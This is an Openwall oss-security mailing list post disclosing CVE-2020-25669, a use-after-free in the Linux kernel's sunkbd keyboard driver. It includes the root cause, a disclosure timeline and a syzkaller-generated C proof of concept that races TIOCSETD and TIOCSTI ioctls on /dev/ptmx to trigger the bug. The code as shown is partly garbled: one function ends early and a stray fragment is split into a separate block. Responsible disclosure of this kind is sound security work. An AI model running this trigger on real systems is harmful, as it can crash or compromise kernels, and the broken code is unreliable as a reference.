

[Products](#)[Services](#)[Publications](#)[Resources](#)[What's new](#)

Follow @Openwall on Twitter for new release announcements and other news

[<prev](#)] [next>\]](#) [\[thread-next>\]](#) [\[day\]](#) [\[month\]](#) [\[year\]](#) [\[list\]](#)

Date: Thu, 5 Nov 2020 09:52:09 +0800  
From: ~ Nop <nopitydays@...il.com>  
To: oss-security@...ts.openwall.com  
Subject: CVE-2020-25669: Linux Kernel use-after-free in sunkbd\_reinit

Hi,

We found a use-after-free read in sunkbd\_reinit located in  
drivers/input/keyboard/sunkbd.c,  
and reproduced it in the latest kernel version (v5.9.4 for now) with  
CONFIG\_KEYBOARD\_SUNKBD=y and CONFIG\_KASAN=y.

The root cause of this BUG is :

The function sunkbd\_reinit having been scheduled by sunkbd\_interrupt before  
the struct sunkbd being freed.  
Though the dangling pointer is set to NULL in sunkbd\_disconnect, there is  
still an alias in sunkbd\_reinit thus causing UAF.

Timeline:  
\* 2020/10/21 - Vulnerability reported to security@...nel.org.  
\* 2020/10/27 - Vulnerability reported to linux-distros@...openwall.org.  
\* 2020/10/27 - CVE-2020-25669 assigned.  
\* 2020/11/05 - Vulnerability opened.

Regards,  
Bodong Zhao from Tsinghua University

-----  
PoC:

```
// autogenerated by syzkaller (https://github.com/google/syzkaller)
// nop@THU
#define _GNU_SOURCE

#include <endian.h>
#include <errno.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#include <fcntl.h>

#include <linux/futex.h>

static void sleep_ms(uint64_t ms)
{
    usleep(ms * 1000);
}

static uint64_t current_time_ms(void)
{
    struct timespec ts;
    if (clock_gettime(CLOCK_MONOTONIC, &ts))
        exit(1);
    return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}

static void thread_start(void* (*fn)(void*), void* arg)
{
    pthread_t th;
    pthread_attr_t attr;
    pthread_attr_init(&attr);
    pthread_attr_setstacksize(&attr, 128 << 10);
    int i;
    for (i = 0; i < 100; i++) {
        if (pthread_create(&th, &attr, fn, arg) == 0) {
            pthread_attr_destroy(&attr);
            return;
        }
        if (errno == EAGAIN) {
            usleep(50);
            continue;
        }
        break;
    }
    exit(1);
}

typedef struct {
    int state;
} event_t;

static void event_init(event_t* ev)
{
    ev->state = 0;
}

static void event_reset(event_t* ev)
{
    ev->state = 0;
}

static void event_set(event_t* ev)
{
    if (ev->state)
        exit(1);
    __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
    syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
    while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
        syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

static int event_isset(event_t* ev)
{
    return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}

static int event_timedwait(event_t* ev, uint64_t timeout)
{
    uint64_t start = current_time_ms();
    uint64_t now = start;
    for (;;) {
        uint64_t remain = timeout - (now - start);
        struct timespec ts;
        ts.tv_sec = remain / 1000;
        ts.tv_nsec = (remain % 1000) * 1000 * 1000;
        syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
        if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
            return 1;
    }
}
```

```

        now = current_time_ms();
        if (now - start > Timeout)
            return 0;
    }
}

struct thread_t {
    int created, call;
    event_t ready, done;
};

static struct thread_t threads[2];
static void execute_call(int call);
static int running;

static void* thr(void* arg)
{
    struct thread_t* th = (struct thread_t*)arg;
    for (;;) {
        event_wait(&th->ready);
        event_reset(&th->ready);
        execute_call(th->call);
        __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
        event_set(&th->done);
    }
    return 0;
}

static void loop(void)
{
    int i, call, thread;
    for (call = 0; call < 2; call++) {
        for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
            thread++) {
            struct thread_t* th = &threads[thread];
            if (!th->created) {
                th->created = 1;
                event_init(&th->ready);
                event_init(&th->done);
                event_set(&th->done);
                thread_start(thr, th);
            }
            if (!event_isset(&th->done))
                continue;
            event_reset(&th->done);
            th->call = call;
            __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
            event_set(&th->ready);
            event_timedwait(&th->done, 45);
            break;
        }
    }
    for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
        sleep_ms(1);
}

uint64_t fd;
char buf[100];

void execute_call(int call)
{
    int disc = 0x2;
    char ch = 0xff;

    switch (call) {
    case 0:
        // call sunkbd_disconnect
        read(fd, buf, 0);
        break;
    case 1:
        // call sunkbd_interrupt
        ioctl(fd, 0x5412, &ch); // TIOCSTI
        break;
    }
}

int main(void)
{
    int disc = 0x2;
    fd = open("/dev/ptmx", O_RDWR, 0);
    ioctl(fd, 0x5423, &disc); // TIOCSETD
    loop();
    return 0;
}

```

Powered by [blists](#) - more mailing lists

Please check out the [Open Source Software Security Wiki](#), which is counterpart to this [mailing list](#).

Confused about [mailing lists](#) and their use? [Read about mailing lists on Wikipedia](#) and check out these [guidelines on proper formatting of your messages](#).

